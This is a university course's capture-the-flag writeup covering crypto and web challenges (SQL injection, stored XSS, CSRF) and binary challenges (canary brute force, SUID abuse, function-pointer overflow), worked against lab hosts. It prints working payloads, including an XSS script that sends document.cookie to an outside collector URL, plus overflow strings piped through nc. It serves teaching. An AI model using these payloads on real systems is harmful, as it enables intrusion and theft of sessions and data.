SFL WiSe 2022/2023 Writeup

Hello! Here you can find some example solutions for the SFL CTF-challenges from WiSe 2022/2023.

Disclamer

The examples are intended to give you an option how you could have solved the challenges / assist you in solving the challenge if you still want to. They are not intended to be reference of how to solve the challenge in the best possible way or give you 100% if you enter them as answer in e.g. an exam.

At some places, steps are omitted in order not to complicate things unnecessarily. Please also keep in mind that these examples were written after the solutions were known. Most of the hard parts, you may have struggled with; are left out or are provided as facts.

If you find errors, or do have a solution (in German or English) you want to share please either:

  1. create a pull request with your solution (๐Ÿ‘๐Ÿ‘): https://gitlab.fachschaften.org/togir2/sfl-wise-2022-2023-writeup
  2. create an issue with your solution (๐Ÿ‘): https://gitlab.fachschaften.org/togir2/sfl-wise-2022-2023-writeup/-/issues
  3. Write your solution per mail to the SFl tutors.
  4. You can also create your own Writeup and we can link to it.

ONcE upon a TIME there was a PAD...

Challenge description

The SFL team is using an encryption service to encrypt their files.

You've stolen two files from the SFL team. Unfortunately the files are encrypted. Can you finde a way to decrpyt them?

Hint 1: VGhlIGVuY3J5cHRpb24gaXMgZmluZSwgeW91IG5lZWQgdG8gdW5kbyB0aGUgZW5jcnlwdGlvbi4=

Files:

bitmapenc.jpg
flagenc.jpg

Solution

The files bit_map_enc.jpg and flag_enc.jpg have been encrypted using the OneTimePad Algorithm and the same key. So the files are generated as follows: \[ bitmapenc.jpg = bitmap.jpg \oplus key \] and \[ flagenc.jpg = flag.jpg \oplus key \]

We can now xor the two file with each other to produce the following new file: \[solution.jpg = bitmapenc.jpg \oplus flagenc.jpg = bitmap.jpg \oplus key \oplus flag.jpg \oplus key =^1 flag.jpg \oplus bit-map.jpg \] (1) The keys (the encryption) get lost because \( flag \oplus flag = 0 \) and \( anyvalue \oplus 0 = anyvalue \).

The new file does now displays as: solution.jpg

Implement everything by yourself?

Description

You can only trust code you wrote yourself? At least one of the SFL tutors seems to think using self-made cryptographic functions is a good idea O_o

You've stolen a hashed message. Can you "unhash" it? You do know the SFL team is using the faculty's "Gitea" service for there software development. Maybe they left something there?

Message: \tbt.aLchkb}(#Wias"_itShVe__MlHe

Unfortunately, the hash function is not only a bad one-way function. It also allows for several collisions. You may have to slightly tweak/fix the flag once you've found it; only one flag is correct, not its collisions.

Solution

How does the hash work

At first we take a look at the mentioned "Gitea service". If we scroll down or use the search function we will find a repository "marvin.weiler/sfl_2022_2023_hash". Inside this repo there are three files: README.md, LICENSE and hash.py. We are only interested in the file hash.py

This file was obfuscated. So let's take a look what is going on:

  • In line 9 the value sl is set to the length of the input_string. The eval code evaluates len(input_string).
  • Line 11- 20 assures that the input_String has always 32 chars.
  • Line 25- 29 creates two arrays, h665 for each character for the first half of the string, and sta with the ord() value for each character of h665
  • Line 53- 59 f2(v1, v2). v1 is a character and v2 a number. The character v1 is shifted v2 times. If the resulting character v3 is outside the printable range \( 32 \leq v3 \leq 126 \) it gets shifted again and the current shifting iteration gets added.
  • Line 33 - 40 are iterating over the second half of the input_string and applies the shift function f2 to each character. This is done exactly once because function f3 will always return false.
  • Line 43- 48 the two half strings are reassembled to one. It is always firstly a shifted character from the first half used then the not shifted from the second half. This is done for all characters.
  • Line 51 replaces the space " " character with an "_" and returns the string.

Reverse the hash

To reverse the hash we first split the output string into the two arrays that they were before line 45.

#h664 = first_half
#h665= second_half
first_half  = [\b.Lhb(Wa"iSV MH]
second_half = [ttack}#is the le]

The second half of the string ends with "ttack}" the rest of the word is padding applied in 18-20.

We do now have to find an input that produces the string "\b.Lhb(Wa"iSV MH" when it gets shifted by the second half. E.g. the char "\" has the UTF-8 value of 92 and got shifted by "t" which has value 116. So we need to substract "\" - "t" which is \( 92 - 116 = -24 \). Ascii and Unicode characters cannot have negative values, and we see that in line 54 the shifted value has a upper bound by ** %126 ** so we also wrap around and calculate \( 126 - 24 = 102 \) and the character "f".

You can repeat this for every character to get a valid input for a same hash value. But the challenge says:

Unfortunately, the hash function is not only a bad one-way function. It also allows for several collisions. You may have to slightly tweak/fix the flag once you've found it; only one flag is correct, not its collisions.

So there are multiple possible values. This happens because we cannot be sure how often the loop in line 56- 58 shifted the character. So some characters need to be shifted multiple times till the flag is accepted.

Sourcecode for hash.py

This is the orignal code from the hash.py file:

import math

flag = "fl4g{collision_attack}"
comment = "#input_string must only contain ascii characters"
comment2 = "#is the length of input_string important?"
def hash(input_string):

    string_lenght = len(input_string)

    #max 32 chars
    if string_lenght > 32:
        input_string = input_string[:32]
        string_lenght = 32


    #Padding
    if string_lenght != 32:
        l = 32 - string_lenght
        input_string = input_string + comment2[:l]
    string_lenght = len(input_string)

    
    first_half = input_string[:int((string_lenght / 2))]
    second_half = input_string[int(string_lenght / 2) : string_lenght]

    amount_to_shift = [] #How far should each char be shifted
    for char in second_half:
        amount_to_shift.append(ord(char))

    for i in range(int(string_lenght / 2)):
        first_half = (first_half[:i] +
                choose_char(first_half[i], amount_to_shift[i]) +
                first_half[i + 1:])
    i = 0
    input_string = ""
    while i < string_lenght / 2:
        input_string += first_half[i]
        input_string += second_half[i]
        i = i+1


    return input_string.replace(" ", "_")

def choose_char(char, shift):
    num = (ord(char) + shift) %126
    it = 0
    while (num < 32 or num > 126):
        num = (num + ord(char) + shift + it) % 126
        it = it +1
    return chr(num)

 
flag_hash = hash(flag)
print("Orig_hash {" ,flag_hash, "}")

Flag-In-The-Middle

Description

Alice and Bob want to communicate. Since they cannot communicate directly, they need you to act as an intermediary (Alice <-> you <-> Bob). For their security, they first derive a key and then encrypt their messages. Can you crack the encryption?

You can reach Alice at host "sfl.cs.tu-dortmund.de" via TCP-port 10002 and Bob via TCP-port 10003.

public_g = 85

public_p = 1721521895839319678905052879206116244297628155585535737450178608344748052531840924013694224743693

Below is a Message exchange you captured earlier:

  1. Alice->Bob: 1620692786992126367441054120788201446232
  2. Bob->Alice: 387595310845143558731231784820556640625
  3. Bob->Alice: Flag?
  4. Alice->Bob: [encrypted first part of the flag]
  5. Alice->Bob: Flag?
  6. Bob->Alice: [encrypted second part of the flag]

After receiving an encrypted flag part you can decrypt it using the code snippet:

def response_decrypt(response_encrypted, key):
    if (key &lt; pow(2, 130)):
        print("Key maybe too small...")
    response_int = int.from_bytes(response_encrypted, byteorder='big')
    print("Decrypted:", str((int(response_int) ^ key).to_bytes(128, byteorder='big'), 'utf-8'))

Hint 1: SGVyZSBpcyBhbiBweXRob24gZXhhbXBsZSBob3cgdG8gY29ubmVjdCB0byBBbGljZToKCmlwID0gInNmbC5jcy50dS1kb3J0bXVuZC5kZSIKcG9ydCA9IDEwMDAyCmJ1ZmZlclNpemUgPSAxMDI0CgojIENvbm5lY3QgdG8gQWxpY2UKc29jayA9IHNvY2tldC5zb2NrZXQoKQpzb2NrLmNvbm5lY3QoKGlwLCBwb3J0KSkKCiMgV2FpdCBmb3IgQWxpY2UKcmVzcG9uc2UgPSBpbnQoc29jay5yZWN2KGJ1ZmZlclNpemUpLmRlY29kZSgpKQ==

Solution

If you take a look at the captured message protocol, you can see Alice and Bob are, in step one and two, performing a key-exchange. Because we have access to all the message between Alice and Bob we can perform a MitM attack.

To do so a connection to Alice and Bob is needed. A look at "Hint 1" reveals a snippet to connect to Alice. Extended with the public information and the given decryption function the snippet reads like this:

import socket
import time

ip = "sfl.cs.tu-dortmund.de"
port = 10002
bufferSize = 1024

def res_decrypt(res_encrypted, key):
    if (key < pow(2, 130)):
        print("Key maybe too small...")
    response = int.from_bytes(res_encrypted, byteorder='big')
    print("Flag part:", str((int(response) ^ key).to_bytes(128, byteorder='big'), 'utf-8'))

# Connect to Alice
sock = socket.socket()
sock.connect((ip, port))

# Define own private y and public values
private_z = 20
private_y = 20
public_g = 85
public_p = 1721521895839319678905052879206116244297628155585535737450178608344748052531840924013694224743693

# Wait for Alice
response = int(sock.recv(bufferSize).decode())

Based on the the information that there is a public_p, public_g and only two messages needed to exchange the key you can assume Alice and Bob are using RSA. The task is now to catch the key-exchange information, replace parts of it with our own values and so build two key. One for communication with Alice and one for Bob. Then use the keys to encrypt the encrypted_flag messages. Bellow is a sample code that does this:

import socket
import time

ip = "sfl.cs.tu-dortmund.de"
port = 10002
bufferSize = 1024

def res_decrypt(res_encrypted, key):
    if (key < pow(2, 130)):
        print("Key maybe too small...")
    response = int.from_bytes(res_encrypted, byteorder='big')
    print("Flag part:", str((int(response) ^ key).to_bytes(128, byteorder='big'), 'utf-8'))

# Connect to Alice
sock = socket.socket()
sock.connect((ip, port))

# Define own private y and public values
private_z = 20
private_y = 20
public_g = 85
public_p = 1721521895839319678905052879206116244297628155585535737450178608344748052531840924013694224743693

# Wait for Alice to initiate DHKE
response = int(sock.recv(bufferSize).decode())
X = response

# Calculate own public Y and send it to Alice
Y = pow(public_g, private_y) % public_p
sock.send(str(Y).encode())
time.sleep(1)

# Calculate key
key = pow(X, private_y) % public_p

# Ask Alice for her part of the flag
sock.send("Flag?".encode())
response = sock.recv(bufferSize)
print(response)

# Decrypt the flag with calculated key
res_decrypt(response, key)

sock.close()

# Connect to Bob
sock = socket.socket()
sock.connect((ip, 10003))

# Calculate own public Z and send it to Bob
Z = pow(public_g, private_z) % public_p
sock.send(str(Z).encode())

# Wait for Bobs response
response = int(sock.recv(bufferSize).decode())
Y = response

# Calculate key from Bobs response
key = pow(Y, private_z) % public_p

# Ask Bob for his part of the flag
sock.send("Flag?".encode())
response = sock.recv(bufferSize)

# Decrypt the flag with calculated key
res_decrypt(response, key)

Wait; pay extra for premium?!

Description

Our shop has a nice product page feature where you can take a look through all the different Flags. Sadly the product page is not listing the shiny fl4g, which is only available for premium customers. You can buy a premium subscription for 1 Bitcoin or you can try to make the shop also list the whole flag database for non-premium customers. ;)

You can reach our shop at: https://sfl.cs.tu-dortmund.de:10004/

Solution

This solution was done with the Firefox webbrowser.

The Webshop has a page where all the items are displayed. On this page you can filter the items via a Dropdown-button.

Webshop itempage with filter button

There is an option for "premium flags" but it is not useable. Lets take a look at the page with the webbrowser development tools, especial we want to know how the filter works. For that we will open the development tools and click on the network tab.

Once you selected an item form the Dropdown and clicked the search button the page performs a POST request to the /items/ endpoint.

firefox network tab with post request

Inspecting the post request we can see the selected value from the Dropdown is submitted in a JSON format with the key "search-string". Maybe this value will be used to search our Flag in the Database? Edit the request with a right-click -> Edit and resend. Change the body of the request to {"search-string":"'austria flag' or 1=1"} then send it!

edited json body

The request does now contain an additional item named: "ctf fl4g SkrF5UMtqxI1JVEA"

results page wit extra flag

The image of this item contains the flag needed to submit the challenge. The link to the image is shown if you switch the response view to raw mode.

sql flag, pirate flag with a flag text

All dat cookies... njam njam!

Description

You found the flag of your dream, but still you are unsure if it is the best fit for you? We got you covered! You can send us your questions and we will do our best to look at your comments ASAP.

You can reach our shop at: https://sfl.cs.tu-dortmund.de:10004/

NOTE: Our shop admins are not supposed to visit external links, hence we block them. But you may find it useful to use our "Request Basket" instead: https://sfl.cs.tu-dortmund.de:10005/

Solution

The challenge description mentions a "Request Basket" so as a first step head to https://sfl.cs.tu-dortmund.de:10005/ and create one.

After that, let us head to a Flag of choice and take a look at the question section. After entering a question and clicking submit we get a URL where we can look at the answer.

Question formualr with an url

By visiting the provided link we come to the page where the (automated) shop staff tells us it is unable to help us... . But whats more interesting, we can see the text we entered into the question form earlier.

Question answer page

What about to enter some code? We could send a question with the following content:

<script> alert("I HAVE A QUESTION ABOUT YOUR SECURITY!") </script>

Interesting... Now the answer page has executed our code snipped looks like this:

answerpage with alert

But sadly no sing of a Fl4g.

Let's combine this XSS with the "Request Basket" we created earlier. Use the question:

<script> fetch("your_request_bucket_url?flag=" + document.cookie) </script>

After submitting the Question form, go over to the "Request Basket" and there is the flag:

Request Basket with flag

Order Request Forgery

Description

You finally made the decision which fl4g is the right one for you! Congratulations!

But.... Just when you were about to order, you noticed that only logged in users can place orders. Arrrrgghh. Disappointed you also notice that the dilettante SFL team forgot to add a register page. Wtf. The flag seems out of reach. Or is there a way to trick someone into ordering a flag for you?!

Overall, this shop seems totally useless... please write some angry feedback!

You can reach our shop at: https://sfl.cs.tu-dortmund.de:10004/

Solution

The description suggested we should write some feedback so at first open the feedback page. We got two options, write some text or send a link to a screenshot to point out the problem.

Send some text

After entering some text into the feedback form we immediately get a response:

Thank your for your feedback! I checked the shop and it is working as intended. Can you provide a screenshot url with the problem? Greetings, Flag-Shop Admin P.S. With my admin account I am able to oder flags without problems!

The messages suggests to add a screenshot url, so we include one!

feedback form with image url

This time the response is different:

Thank your for your feedback! I checked the shop and it is working as intended. I am not allowed to visited your 'screenshot url'. My policy does only allow for internal domains. Greetings, Flag-Shop Admin P.S. With my admin account I am able to oder flags without problems!

So the admin will not open images located on a different server. What does happen if we provide an image hosted on the shop server? With this link: https://sfl.cs.tu-dortmund.de:10004/static/img/angola-flag.jpg We do get the following response:

Thank your for your feedback! I checked the shop and it is working as intended. I also visited your 'screenshot url' but was unable to look at the picture. Greetings, Flag-Shop Admin P.S. With my admin account I am able to oder flags without problems!

The interesting part of this message is the admin telling us he opened our link.

How can we trick the admin to order us a flag?

First we take a look at how flag order form works:

flag order form with dissabled button

The corresponding html:

...
<form action="/order" method="GET">
  <input type="hidden" name="productName" value="angola flag">
  <input type="hidden" name="deliveryEmail" value="Error! Not logged in!">
  <button type="sumbit" disabled="" class="btn btn-primary btn-lg btn-block">You must be logged in to order flags! </button>
</form>
...

If we analyse the html-code we see, to order a Flag we must

  1. make GET request to /order
  2. provide a paramtere productName
  3. provide a deliveryEmail

An example for such a url is:

https://sfl.cs.tu-dortmund.de:10004/order?deliveryEmail=your-adress@tu-dortmund.de&productName=angola flag

We can now trick the admin to order us a flag if we pretend that our crafted url is pointing to an image. So we enter the url into the feedback form.

feedback form with our url

Mhh... this takes a long time to load.. Also the message has again changed:

Thank you for the report! Our admin will take a look soon.

If we take a look at our email address, there is a mail with the flag.

Thank your for your order! Your flag is:fl4g{csrf-really-sucks!@@ยง$1ยง@!?}

The admin clicked on the link, assuming there is a screenshot of an error at the shop where in reality the link was ordering a flag. So we tricked him to order us a Flag to our mail address.

Can you crackme?

Description

In this challenge, you have to bypass the password check of the executable file crackme. If you do, the file will tell you where you can get your flag from. The TCP service is running on sfl.cs.tu-dortmund.de:10009.

Attached are a 32-Bit Version and a 64-Bit Version of the crackme file to ease your analysis.

Solution

Lets start by sending some input to the server:

echo "AAAAAAAAAAAAAAAAAA" |nc  sfl.cs.tu-dortmund.de 10009 

We receive back a message "Canary changed at position 0!", we must have been written over the input buffer and the canary check caught us. So how big is our buffer? And how can we trick the canary check?

How big is the buffer?

To probe our buffer size we can send our request multiple times and always remove one of the "A" from it. If you do so you will end with this:

echo "AAAAAAAAAAAAAAA" |nc  sfl.cs.tu-dortmund.de 10009 
// 15 A -> 15 byte buffer

Now we need to work out the canary. We can brute force this byte by byte:

echo "AAAAAAAAAAAAAAAa" |nc  sfl.cs.tu-dortmund.de 10009  // First try
echo "AAAAAAAAAAAAAAAb" |nc  sfl.cs.tu-dortmund.de 10009  // Second try
echo "AAAAAAAAAAAAAAAc" |nc  sfl.cs.tu-dortmund.de 10009  // Third try
...

echo "AAAAAAAAAAAAAAAs" |nc  sfl.cs.tu-dortmund.de 10009 | less // First byte of the canary is "s"

So how do we know that "s" is the first canary?

The output changed, it's no longer complaining "Canary changed at position 0!".

We continue this again for the next canary byte until we cracked the whole canary. To save some time you might want to write a script. The final command should look like this and returns no "canary" error:

echo "AAAAAAAAAAAAAAAsfl_cnry" |nc  sfl.cs.tu-dortmund.de 10009 

But where is the flag?

We do still have this nasty message: "Access denied!". To override the password check we need to write one additional byte, it can be anything except the "\0".

Final command:

 echo "AAAAAAAAAAAAAAAsfl_cnryA" |nc  sfl.cs.tu-dortmund.de 10009
 // Response: Access granted! fl4g{bytewise_comparisons_or_static_canaries_weaken_security}

Alternative approach to get the canary

An alternative method to get the canary is to use the tool Ghidra to decompile the binary file to more readable C code. If analyzed by Ghidra, we can extract C code of the crackme_32 main function:

undefined4 main(void)
{
  [...]
  
  local_10 = &stack0x00000004;
  apcStack_144[68] = (char *)0x11248;
  apcStack_144[65] = "\n Enter the password: ";
  FUN_000110c0();
  apcStack_144[65] = local_28;
  FUN_000110b0();
  ppcVar1 = (char **)auStack_30;
  if (local_19 == '\0') {
    apcStack_144[65] = (undefined *)0xffffffff;
    FUN_000110d0();
    ppcVar1 = apcStack_144 + 0x41;
  }
  puVar3 = (undefined *)ppcVar1;
  if (local_19 != 's') {
    puVar3 = (undefined *)((int)ppcVar1 + -0x10);
    *(char **)((int)ppcVar1 + -0x10) = "Canary changed at position 0!";
    *(undefined4 *)((int)ppcVar1 + -0x14) = 0x11298;
    FUN_000110c0();
    
    
  [...]

    if (local_13 != 'r') {
    puVar3 = puVar2 + -0x10;
    *(char **)(puVar2 + -0x10) = "Canary changed at position 6!";
    *(undefined4 *)(puVar2 + -0x14) = 0x113f0;
    FUN_000110c0();
    *(undefined4 *)(puVar2 + -0x10) = 0xffffffff;
    *(undefined4 *)(puVar2 + -0x14) = 0x113fd;
    FUN_000110d0();
  }
  puVar2 = puVar3;
  if (local_12 == '\0') {
    puVar2 = puVar3 + -0x10;
    *(undefined4 *)(puVar3 + -0x10) = 0xffffffff;
    *(undefined4 *)(puVar3 + -0x14) = 0x1140f;
    FUN_000110d0();
  }
  puVar3 = puVar2;
  if (local_12 != 'y') {
    puVar3 = puVar2 + -0x10;
    *(char **)(puVar2 + -0x10) = "Canary changed at position 7!";
    *(undefined4 *)(puVar2 + -0x14) = 0x11426;
    
  [...]

The source code contains a row of if statements comparing parts of a local array to chars, and these chars are sfl_cnry. So with this approach, we don't need to test each character, but can extract the canary directly from the binary.

Sourcecode for the canary binary

#include <stdlib.h>
#include <string.h>
#include <stdio.h>

char *gets(char *);

int main(void) {
    struct {
        char buff[15];
        char canary[8];
	char pass;
    } vars;

    char canary[8];
    FILE *f1 = fopen("canary.txt", "r");
    fgets(vars.canary, 9, f1);
    fclose(f1);
    strcpy(canary, vars.canary);

    char flag[62];
    FILE *f2 = fopen("flag.txt", "r");
    fgets(flag, 62, f2);
    fclose(f2);

    char pwd[15];
    FILE *f3 = fopen("pwd.txt", "r");
    fgets(pwd, 15, f3);
    fclose(f3);

    printf("\n Enter the password: \n");
    gets(vars.buff);
    fflush(stdout);

    if (!strcmp(vars.buff, pwd)) {
        vars.pass = 1;
    }

    if (vars.canary[0] == '\0') {
	exit(-1);
    }
    if (!(vars.canary[0] == canary[0])) {
	printf("%s\n", "Canary changed at position 0!");
	fflush(stdout);
	exit(-1);
    }
    if (vars.canary[1] == '\0') {
        exit(-1);
    }
    if (!(vars.canary[1] == canary[1])) {
        printf("%s\n", "Canary changed at position 1!");
        exit(-1);
    }
    if (vars.canary[2] == '\0') {
        exit(-1);
    }
    if (!(vars.canary[2] == canary[2])) {
        printf("%s\n", "Canary changed at position 2!");
        exit(-1);
    }
    if (vars.canary[3] == '\0') {
        exit(-1);
    }
    if (!(vars.canary[3] == canary[3])) {
        printf("%s\n", "Canary changed at position 3!");
        exit(-1);
    }
    if (vars.canary[4] == '\0') {
        exit(-1);
    }
    if (!(vars.canary[4] == canary[4])) {
        printf("%s\n", "Canary changed at position 4!");
        exit(-1);
    }
    if (vars.canary[5] == '\0') {
        exit(-1);
    }
    if (!(vars.canary[5] == canary[5])) {
        printf("%s\n", "Canary changed at position 5!");
        exit(-1);
    }
    if (vars.canary[6] == '\0') {
        exit(-1);
    }
    if (!(vars.canary[6] == canary[6])) {
        printf("%s\n", "Canary changed at position 6!");
        exit(-1);
    }
    if (vars.canary[7] == '\0') {
        exit(-1);
    }
    if (!(vars.canary[7] == canary[7])) {
        printf("%s\n", "Canary changed at position 7!");
        exit(-1);
    }

    if (vars.pass) {
        printf("Access granted! %s \n", flag);
    } else {
        printf("Access denied! \n");
    }

    return 0;
}

Hey, look at my essay!

Description

We have provided SSH access to a Linux system for you. You reach it via sfl.cs.tu-dortmund.de on port 10007. Credentials: sfl / buffer_overflow. Now go connect to it and have a look around. You may find some strange files...

Hint: c3NoIHNmbEBzZmwuY3MudHUtZG9ydG11bmQuZGUgLXAgMTAwMDcgLVA=

Solution

Login to the server.

Then we can take a look around.. There is a folder "Desktop" and inside it, a folder "essay" and also some "util" folder with some binary files:

sfl@c9bea22563ec:/home/sfl/Desktop/essays/util$ ls -al
# total 68
# drwxr-xr-x 2 root root  4096 Jan 10 12:27 .
# drwxr-xr-x 3 root root  4096 Jan  8 17:29 ..
# -rwxr-xr-x 1 www  www  17104 Jan  8 17:27 count_chars
# -rwsr-xr-x 1 root root 17144 Jan  9 20:29 count_lines
# -rwxr-xr-x 1 www  www  17048 Jan  7 10:46 count_words

Also there is an adittional user folder at "/home/www/" with the following files:

sfl@c9bea22563ec:/home/www$ ls -al
# total 36
# drwxr-xr-x 4 www  www  4096 Jan 10 12:22 .
# drwxr-xr-x 4 root root 4096 Jan 12 15:33 ..
# -rw------- 1 www  www   804 Jan  9 20:38 .bash_history
# -rw-r--r-- 1 www  www   220 Jan  8 15:29 .bash_logout
# -rw-r--r-- 1 www  www  3526 Jan  8 15:29 .bashrc
# drwxr-xr-x 3 www  www  4096 Jan  8 16:53 .local
# -rw-r--r-- 1 www  www   807 Jan  8 15:29 .profile
# drwxr-xr-x 2 www  www  4096 Jan  9 15:41 __pycache__
# -rwxr----- 1 www  www   199 Jan  9 15:41 config.py

Unfortunately, as user sfl we are unable to open any of this files.

But if you look back at the files in the "util" folder there is something odd (try it yourself before scrolling further).




...












Did you try it?
...




It's not that hard
...







One file has someting diffent
...

























---
...
   ๐Ÿ —
-rwsr-xr-x 1 root root 17144 Jan  9 20:29 count_lines
   ๐Ÿ •

The binary is owned by user root and has the suid bit set! We can execute it to access everything the root user can access.

So lets take a look at the config.py file:

sfl@c9bea22563ec:/home/sfl$ /home/sfl/Desktop/essays/util/count_lines /home/www/config.py
# from flask import Flask
# import os
#
# app = Flask(__name__)
#
# @app.route("/66041164-0c4e-4f23-8ef1-7b6856c5e32d")
# def hello_world():
#	FLAG = str(os.environ.get('WWW_FLAG'))
# return "<p>" + FLAG + "</p>"
#
# 7 lines written

So the flag must be written somewhere in the environment of the running server. But our tool can only read files. Lets try another file, maybe the "www"-user set the "flag-variable" via the terminal? All the commands entered into the terminal are saved in a ".bash_history" file. And if we open the file there it is. The final command is:

/home/sfl/Desktop/essays/util/count_lines /home/www/.bash_history
# ls
# export WWW_FLAG=fl4g{b3_c4r3ful_w1th_suid_bit}
# printenv
# ls
# python3 config.py
# apt install python3-pip
# sudo apt install python3-pip
# ...

Another possible approach is to read the environment variable from the place it was written to in config.py. The config file starts a Flask app, which is a Python web framework. So /66041164-0c4e-4f23-8ef1-7b6856c5e32d is probably a path in a web app that is running on this system. To access this web app, we now just need to request it by its URL. For the hostname, we can just use localhost or 127.0.0.1 (both point directly to the system the request is sent from). To send a request, we can now use curl (inside the SSH session): curl http://localhost/66041164-0c4e-4f23-8ef1-7b6856c5e32d The response of the running Flask server contains the flag:

<p>fl4g{b3_c4r3ful_w1th_suid_bit}</p>

Game Pointer

Description

We have attached another file for you to crack. The file will tell you again where you have to send your input to, once you cracked it.

Note: You have to run the file with: "setarch uname -m -R ./app_compiled_64"

Solution

To run this command you need to be logged in as root, then we can run it:

[root@fedora function_pointer] setarch `uname -m` -R ./app_compiled_64
Please choose your action (say_hi, say_hello, say_goodbye, say_flag) :> say_hi
# calling your function function, jumping to 0x555555555211
# Hi world!

And if we choose a different option:

[root@fedora function_pointer] setarch `uname -m` -R ./app_compiled_64
Please choose your action (say_hi, say_hello, say_goodbye, say_flag) :> say_goodbye
# calling your function function, jumping to 0x55555555523f
# Goodbye world!

But with the third option:

[root@fedora function_pointer] setarch `uname -m` -R ./app_compiled_64
Please choose your action (say_hi, say_hello, say_goodbye, say_flag) :> say_flag
# No valid action!

We can see that there are the different functions have different addresses, except for "say_flag" which is disabled.

So lets search where in the binary we can find the "say_flag" function.

objdump -d app_compiled_64
# app_compiled_64:     file format elf64-x86-64
# ...
# 00000000000011fa <say_flag>:
# ...
# 0000000000001211 <say_hi>:
# ...
# 0000000000001228 <say_hello>:
# ...

We can see the address of the functions we previously called.

Did you notice a difference in the pointer addresses?

When we executed the function "say_hi" address 0x555555555211 was printed but the objdump said it is located at at 0x0000000000001211. So there is a offset between the addresses reported by objdump and the real addresses while running the program. Keep this offset in mind, you'll need it later.

Thankfully, because we prefixed setarch uname -m -R to the binary, we disabled the ASLR feature and the offset is the same on our system and the server.

If you did run the app in a debugger e.g. gdb it is likely that ALSR is also disabled.

We do now know where we need to jump to obtain a flag, but how can we convince our program to jump to this address?

Buffer overflow

We can override the "input_buffer" and write the address of our flag function directly into the stack. First we need to know the size of the "input_buffer".

python -c "print('A' * 10 )" | setarch `uname -m` -R ./app_compiled_64
# Please choose your action (say_hi, say_hello, say_goodbye, say_flag) :>
# No valid action!

python -c "print('A' * 11 )" | setarch `uname -m` -R ./app_compiled_64
# Please choose your action (say_hi, say_hello, say_goodbye, say_flag) :>
# No valid action!

python -c "print('A' * 12 )" | setarch `uname -m` -R ./app_compiled_64
# Please choose your action (say_hi, say_hello, say_goodbye, say_flag) :>
# No valid action!

...

 python -c "print('A' * 73 )" | setarch `uname -m` -R ./app_compiled_64
# Please choose your action (say_hi, say_hello, say_goodbye, say_flag) :>
# calling your function function, jumping to 0x41
# Segmentation fault (core dumped)

With 73 "A" the program tried a jump to 0x41 (hex for "A" is 0x41), and then crashed. So the last A was interpreted as a function pointer.

With that knowledge we can now craft an input string which can jump to our flag:

  1. 72 "A" for the buffer
  2. Offset for the "real" address
  3. Address from the objdump for the say_flag function.
echo -ne "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xfa\x51\x55\x55\x55\x55" | setarch `uname -m` -R ./app_compiled_64 
# Please choose your action (say_hi, say_hello, say_goodbye, say_flag) :>
# calling your function function, jumping to 0x5555555551fa
# fl4g{...

And if we send it to the server:

echo -ne "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xfa\x51\x55\x55\x55\x55" | nc sfl.cs.tu-dortmund.de 10006
# Please choose your action (say_hi, say_hello, say_goodbye, say_flag) :>
# calling your function function, jumping to 0x5555555551fa
# fl4g{nice_address_you_jumped_to}